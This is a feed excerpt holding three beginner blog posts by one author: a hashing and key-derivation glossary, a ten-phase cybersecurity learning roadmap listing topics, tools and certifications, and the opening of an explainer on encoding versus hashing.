&lt;li&gt;&lt;strong&gt;SHA-256&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A strong 256-bit hash function. &lt;br&gt;
&lt;em&gt;Think of it like a solid metal security door.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SHA-512&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Same family as SHA-256 but with a longer 512-bit output. &lt;br&gt;
&lt;em&gt;Like the same metal door, but thicker and even stronger.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SHA-3&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A newer hashing standard with a completely different design. &lt;br&gt;
&lt;em&gt;Considered very secure and resistant to modern attacks.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Salt&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A random value added to a password before hashing. &lt;br&gt;
&lt;em&gt;It prevents attackers from using rainbow tables.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Pepper&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A secret value stored separately from the database. &lt;br&gt;
&lt;em&gt;Even if the database is stolen, the pepper adds extra protection.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Rainbow Tables&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Huge pre-computed lists of hashes and their matching inputs. &lt;br&gt;
&lt;em&gt;Adding a salt completely destroys the effectiveness of rainbow tables.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;bcrypt&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A slow hashing algorithm with an automatic salt. &lt;br&gt;
&lt;em&gt;Still very strong and commonly used for password storage.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Argon2&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Next-generation hashing algorithm with memory-hard design. &lt;br&gt;
&lt;em&gt;Very difficult for GPUs or ASIC machines to crack.&lt;/em&gt;&lt;/p&gt;




&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key Derivation Functions (KDFs)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A KDF (Key Derivation Function) is a cryptographic algorithm used to take a weak secret (like a password) and turn it into a strong, secure cryptographic key.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;KDF2&lt;/strong&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;KDF2 is a standardized Key Derivation Function used in cryptography. Human passwords are weak, short, predictable. KDF2 transforms them into long, random-like keys that are safe for encryption.&lt;/p&gt;

&lt;p&gt;Simple explanation:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It takes an input (password or shared secret)&lt;/li&gt;
&lt;li&gt;Passes it through a hash function many times&lt;/li&gt;
&lt;li&gt;Produces a strong cryptographic key
Human passwords are weak, short, predictable. KDF2 transforms them into long, random-like keys that are safe for encryption.&lt;/li&gt;
&lt;/ul&gt;




&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;PBKDF2 (Password-Based Key Derivation Function 2)&lt;/strong&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PBKDF2 is one of the most widely used KDFs today (in Django, AWS, WPA2 WiFi, etc.).&lt;/p&gt;

&lt;p&gt;What it does:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Takes a password&lt;/li&gt;
&lt;li&gt;Adds a salt&lt;/li&gt;
&lt;li&gt;Repeats hashing thousands or millions of times&lt;/li&gt;
&lt;li&gt;Produces a secure key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why it is secure:&lt;br&gt;
The repeated hashing makes it slow on purpose, making brute-force attacks extremely expensive.&lt;br&gt;
Use cases:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Storing password hashes&lt;/li&gt;
&lt;li&gt;Deriving encryption keys&lt;/li&gt;
&lt;li&gt;Protecting user authentication data&lt;/li&gt;
&lt;/ul&gt;




&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HMAC (Hash-Based Message Authentication Code)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What it is:&lt;br&gt;
HMAC is a cryptographic method that uses:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A hash function (SHA-256, SHA-512, etc.)&lt;/li&gt;
&lt;li&gt;A secret key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;to produce a secure code that proves:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The message is genuine (authentication)&lt;/li&gt;
&lt;li&gt;The message was not changed (integrity)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Simple explanation:&lt;br&gt;
HMAC = hash(message + secret key)&lt;/p&gt;

&lt;p&gt;An attacker cannot forge the HMAC because they do not know the secret key.&lt;/p&gt;

&lt;p&gt;Why it’s used:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Protects API requests (e.g., AWS S3 signatures)&lt;/li&gt;
&lt;li&gt;Protects cookies and session tokens&lt;/li&gt;
&lt;li&gt;Provides integrity and authenticity in network protocols&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Difference from hashing:&lt;br&gt;
Hashing alone does NOT require a key → anyone can recompute it.&lt;br&gt;
HMAC uses a secret key, so only someone with that key can produce the correct code.&lt;/p&gt;




&lt;p&gt;Hashing is everywhere in cybersecurity, from passwords to digital signatures. Once you understand how it works and why it’s designed this way, many other security concepts start to make sense.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Cybersecurity Roadmap for Myself (And Anyone Starting Fresh)</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Tue, 02 Dec 2025 17:09:53 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/cybersecurity-roadmap-for-myself-and-anyone-starting-fresh-755</link>
      <guid>https://forem.com/alvinseyidov/cybersecurity-roadmap-for-myself-and-anyone-starting-fresh-755</guid>
      <description>&lt;p&gt;I recently started learning cybersecurity. I am a full stack developer with more than five years of experience, but before that I actually studied medical university. Even during my medical studies, I always had passion for technology. When I decided to switch to tech, I tried to learn everything at the same time. I studied PHP, Java, C Sharp, frontend, backend, networks, and even Arduino robotics. Later I understood that this was a mistake. You cannot learn everything. You must choose one direction and stay with it. You learn side technologies only to support your main skill.&lt;/p&gt;

&lt;p&gt;For many years I also wanted to start cybersecurity, but I did not take the risk. In my country Azerbaijan, cybersecurity was not very famous, and finding a job in this field was very hard. Because of this, I decided to become a backend heavy full stack developer. Now, after five years of experience, I finally feel ready to start cybersecurity.&lt;/p&gt;

&lt;p&gt;My past mistakes will help me now. I already have light knowledge in many areas related to cybersecurity, so I believe it will not be too difficult to move deeper. But after many days of reading and searching, I also understood something important. Cybersecurity changed a lot. Now you need stronger skills in cloud, web security, servers, networks, and not only simple tools.&lt;/p&gt;

&lt;p&gt;Right now I still do not know which area of cybersecurity I want to choose. For now I want to start learning, and later, when I get some real experience, I will decide. At the beginning I will focus on networking, how the internet works, basic security terms, Linux and security tools, and deeper server knowledge. Even though I know these from development, I want to make my understanding stronger.&lt;/p&gt;

&lt;p&gt;So this article is my personal roadmap for becoming skilled in cybersecurity, and I hope it helps other beginners too. It’s not a super-advanced expert guide, it’s simple, practical, and focused on understanding the essentials step by step.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiutwx5ea1zt5mpsda5d7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiutwx5ea1zt5mpsda5d7.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 1: Core Fundamentals (Your Foundation)
&lt;/h2&gt;

&lt;p&gt;Before trying hacking tools, exploitation, or attacking machines, you must understand how the internet, computers, and data actually work.&lt;/p&gt;

&lt;p&gt;These are the fundamentals:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Networking Basics&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Cybersecurity is impossible without networking knowledge.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learn:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IP addresses (IPv4/IPv6)&lt;/li&gt;
&lt;li&gt;Ports &amp;amp; protocols&lt;/li&gt;
&lt;li&gt;TCP vs UDP&lt;/li&gt;
&lt;li&gt;Subnetting (just basics)&lt;/li&gt;
&lt;li&gt;DNS, DHCP, NAT, Routing&lt;/li&gt;
&lt;li&gt;HTTP vs HTTPS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt;&lt;br&gt;
Attackers use network weaknesses. Defenders monitor network traffic. Everything in cybersecurity touches networking.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Linux Fundamentals&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Cybersecurity = Linux.&lt;br&gt;
Kali, Parrot OS, Ubuntu - everything is Linux-based.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learn:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Terminal basics (ls, cd, cat, grep, cp, mv)&lt;/li&gt;
&lt;li&gt;User permissions (chmod, chown, sudo)&lt;/li&gt;
&lt;li&gt;Processes (ps, top)&lt;/li&gt;
&lt;li&gt;Networking commands (ip, ifconfig, netstat, ss)&lt;/li&gt;
&lt;li&gt;File system structure&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt;&lt;br&gt;
Most tools run on Linux and most servers are Linux.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Security Mindset&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Learn how attackers think:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Find weak points&lt;/li&gt;
&lt;li&gt;Test assumptions&lt;/li&gt;
&lt;li&gt;Abuse misconfigurations&lt;/li&gt;
&lt;li&gt;Chain small issues into big exploits
Learning “the mindset” is as important as tools.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftsbfrf9fdj4nnmfbaon6.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftsbfrf9fdj4nnmfbaon6.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 2: Cryptography Essentials (Not Math, Just Understanding)
&lt;/h2&gt;

&lt;p&gt;You don’t need deep math - only practical understanding.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learn:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hashing (SHA-256, SHA-1 weaknesses)&lt;/li&gt;
&lt;li&gt;Encryption (AES, RSA, ECC)&lt;/li&gt;
&lt;li&gt;Encoding (Base64)&lt;/li&gt;
&lt;li&gt;HMAC&lt;/li&gt;
&lt;li&gt;Salting &amp;amp; Password hashing (bcrypt, PBKDF2, Argon2)&lt;/li&gt;
&lt;li&gt;Certificates &amp;amp; PKI&lt;/li&gt;
&lt;li&gt;TLS/SSL basics&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt;&lt;br&gt;
Passwords, logins, HTTPS, VPNs, JWT tokens - everything uses cryptography.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32uu827miajkd5jd5x8r.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32uu827miajkd5jd5x8r.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 3: Tools &amp;amp; Practical Skills
&lt;/h2&gt;

&lt;p&gt;Now you can start touching the tools.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Network Scanning&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Nmap&lt;/li&gt;
&lt;li&gt;Masscan&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Use these to discover hosts, ports, and services.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Traffic Analysis&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Wireshark&lt;/li&gt;
&lt;li&gt;Tcpdump&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Learn to capture and analyze packets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Web Pentesting Tools&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Burp Suite&lt;/li&gt;
&lt;li&gt;OWASP ZAP&lt;/li&gt;
&lt;li&gt;Nikto&lt;/li&gt;
&lt;li&gt;Gobuster&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These help you find vulnerabilities in web apps.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Password Attacks&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hashcat&lt;/li&gt;
&lt;li&gt;John the Ripper&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Understand password cracking speeds, hashing types, and why strong passwords matter.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6omj00l2nhsrmnnu9s3o.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6omj00l2nhsrmnnu9s3o.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 4: Web Security (OWASP Top 10)
&lt;/h2&gt;

&lt;p&gt;Web is the biggest attack surface today.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Master these 10 vulnerability classes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Injection (SQLi)&lt;/li&gt;
&lt;li&gt;Broken Authentication&lt;/li&gt;
&lt;li&gt;Sensitive Data Exposure&lt;/li&gt;
&lt;li&gt;XSS (Cross-Site Scripting)&lt;/li&gt;
&lt;li&gt;XXE&lt;/li&gt;
&lt;li&gt;Broken Access Control&lt;/li&gt;
&lt;li&gt;Security Misconfiguration&lt;/li&gt;
&lt;li&gt;CSRF&lt;/li&gt;
&lt;li&gt;Server-Side Request Forgery (SSRF)&lt;/li&gt;
&lt;li&gt;Using Components with Known Vulnerabilities&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt;&lt;br&gt;
Most cybersecurity jobs involve defending or testing web apps.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7h2havm7mv2oz4853py8.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7h2havm7mv2oz4853py8.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 5: Operating Systems, Processes &amp;amp; Hardening
&lt;/h2&gt;

&lt;p&gt;Learn how systems work internally:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Windows internals&lt;/li&gt;
&lt;li&gt;Linux internals&lt;/li&gt;
&lt;li&gt;Logging &amp;amp; monitoring&lt;/li&gt;
&lt;li&gt;Firewalls (iptables, ufw)&lt;/li&gt;
&lt;li&gt;System hardening basics&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This helps you understand how attackers escalate privileges or hide in systems.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmsoseu383s2v9zo4p5ui.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmsoseu383s2v9zo4p5ui.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 6: Threat Detection &amp;amp; Monitoring (Blue Team Skills)
&lt;/h2&gt;

&lt;p&gt;Blue Team skills are becoming extremely valuable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Focus on:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SIEM (Security Information &amp;amp; Event Management)&lt;/li&gt;
&lt;li&gt;Log analysis&lt;/li&gt;
&lt;li&gt;Incident response steps&lt;/li&gt;
&lt;li&gt;Alerts, detections, rules&lt;/li&gt;
&lt;li&gt;MITRE ATT&amp;amp;CK framework&lt;/li&gt;
&lt;li&gt;Basic forensics (memory, disk)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo5gtbjflon6b2crcga3x.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo5gtbjflon6b2crcga3x.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 7: Offensive Security (Ethical Hacking)
&lt;/h2&gt;

&lt;p&gt;Once you understand defenses, start learning offensive strategies.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Topics:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reconnaissance &amp;amp; information gathering&lt;/li&gt;
&lt;li&gt;Vulnerability scanning&lt;/li&gt;
&lt;li&gt;Exploitation frameworks (Metasploit)&lt;/li&gt;
&lt;li&gt;Password attacks&lt;/li&gt;
&lt;li&gt;WiFi attacks&lt;/li&gt;
&lt;li&gt;Privilege escalation&lt;/li&gt;
&lt;li&gt;Pivoting &amp;amp; lateral movement&lt;/li&gt;
&lt;li&gt;Covering tracks (only for learning, not abuse)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Practice on:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;HackTheBox&lt;/li&gt;
&lt;li&gt;TryHackMe&lt;/li&gt;
&lt;li&gt;VulnHub&lt;/li&gt;
&lt;li&gt;PortSwigger Labs&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80jgi0jkt0vs7gaij7ze.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80jgi0jkt0vs7gaij7ze.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 8: Cloud Security (AWS, Azure, GCP)
&lt;/h2&gt;

&lt;p&gt;Modern companies run on the cloud.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learn:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IAM (Identity &amp;amp; Access Management)&lt;/li&gt;
&lt;li&gt;Permissions &amp;amp; roles&lt;/li&gt;
&lt;li&gt;S3 bucket security&lt;/li&gt;
&lt;li&gt;VPC networks&lt;/li&gt;
&lt;li&gt;Cloud monitoring&lt;/li&gt;
&lt;li&gt;Common cloud misconfigurations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Even basic cloud security knowledge boosts your value.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fns28iok25detjujpqq4w.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fns28iok25detjujpqq4w.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 9: Pick Your Specialization
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;After gaining general skills, choose one direction:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Offensive:&lt;/li&gt;
&lt;li&gt;Pentesting&lt;/li&gt;
&lt;li&gt;Red Team&lt;/li&gt;
&lt;li&gt;Malware analysis&lt;/li&gt;
&lt;li&gt;Bug bounty&lt;/li&gt;
&lt;li&gt;Defensive:&lt;/li&gt;
&lt;li&gt;Blue Team&lt;/li&gt;
&lt;li&gt;SOC Analyst&lt;/li&gt;
&lt;li&gt;Incident responder&lt;/li&gt;
&lt;li&gt;Threat hunter&lt;/li&gt;
&lt;li&gt;Forensics&lt;/li&gt;
&lt;li&gt;Security engineering:&lt;/li&gt;
&lt;li&gt;Application security&lt;/li&gt;
&lt;li&gt;Cloud security engineer&lt;/li&gt;
&lt;li&gt;DevSecOps&lt;/li&gt;
&lt;li&gt;Security automation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You don’t need to choose immediately - explore first.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqt0bvcy8uvmq6bdprq6w.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqt0bvcy8uvmq6bdprq6w.jpg" alt=" " width="800" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Phase 10: Certifications (Optional but Helpful)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Not required, but good for jobs:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CompTIA Security+ (best beginner cert)&lt;/li&gt;
&lt;li&gt;CompTIA Network+ (if networking is weak)&lt;/li&gt;
&lt;li&gt;CEH (not very respected, but popular)&lt;/li&gt;
&lt;li&gt;eJPT (good for beginners in offensive security)&lt;/li&gt;
&lt;li&gt;OSCP (advanced ethical hacking certificate)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Cybersecurity is a long journey, but if you stay consistent and always stay curious, you will grow much faster than you expect.&lt;/p&gt;

&lt;p&gt;This roadmap is not “perfect”, it’s simply my plan, and if you’re a beginner, it might help you too.&lt;/p&gt;

&lt;p&gt;I’ll keep writing notes as I learn.&lt;br&gt;
If you want to follow my journey, stay tuned for more posts.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>roadmap</category>
    </item>
    <item>
      <title>Understanding Hashing, Encryption, and Encoding (Simple Overview)</title>
      <dc:creator>Elvin Seyidov</dc:creator>
      <pubDate>Tue, 02 Dec 2025 17:06:45 +0000</pubDate>
      <link>https://forem.com/alvinseyidov/understanding-hashing-encryption-and-encoding-2eeg</link>
      <guid>https://forem.com/alvinseyidov/understanding-hashing-encryption-and-encoding-2eeg</guid>
      <description>&lt;p&gt;When I started learning cybersecurity, one of the first things I wanted to understand clearly was the difference between hashing, encryption, and encoding. Many developers mix these terms, and even I used to confuse them earlier in my journey. But they are actually very different, and each one has a special purpose in security.&lt;/p&gt;

&lt;p&gt;In this article I want to explain these three concepts in simple English, without using advanced math or complicated examples. My goal is to understand the idea behind each one and show where they are used in the real world of cybersecurity.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnczpehs33r3ltutsvefr.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnczpehs33r3ltutsvefr.jpg" alt=" " width="800" height="565"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Encoding (Not Security, Just Format Change)
&lt;/h2&gt;

&lt;p&gt;Encoding is the easiest one. Encoding does not protect data. It only changes the format of data so different systems can read it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Examples of encoding:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Base64&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Converts binary data into text-friendly characters.&lt;br&gt;
&lt;em&gt;Used to safely send images, files, and binary data through text-only systems.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;URL Encoding&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Replaces unsafe URL characters with %-codes (like space → %20).&lt;br&gt;
&lt;em&gt;Ensures URLs don’t break when sent over the internet.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ASCII&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Maps characters to numbers using a simple 7-bit table.&lt;br&gt;
&lt;em&gt;Allows computers to consistently represent letters, digits, and symbols.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;UTF-8&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A universal character encoding that supports every language and emoji.&lt;br&gt;
&lt;em&gt;Ensures text from all languages displays correctly across systems.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why encoding is used&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;To send data safely over the internet&lt;/li&gt;
&lt;li&gt;To make sure special characters do not break a request&lt;/li&gt;
&lt;li&gt;To convert data into a form that systems understand&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Important note&lt;/strong&gt;&lt;br&gt;
Anyone can decode encoded data.&lt;br&gt;
Encoding is not meant to hide or protect anything.&lt;br&gt;
If your password or secret is only Base64 encoded, it is not secure at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Hashing (One Way, Cannot Reverse)
&lt;/h2&gt;

&lt;p&gt;Hashing is a one way function.&lt;br&gt;
Once you hash something, you cannot get the original value back.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common hashing algorithms&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
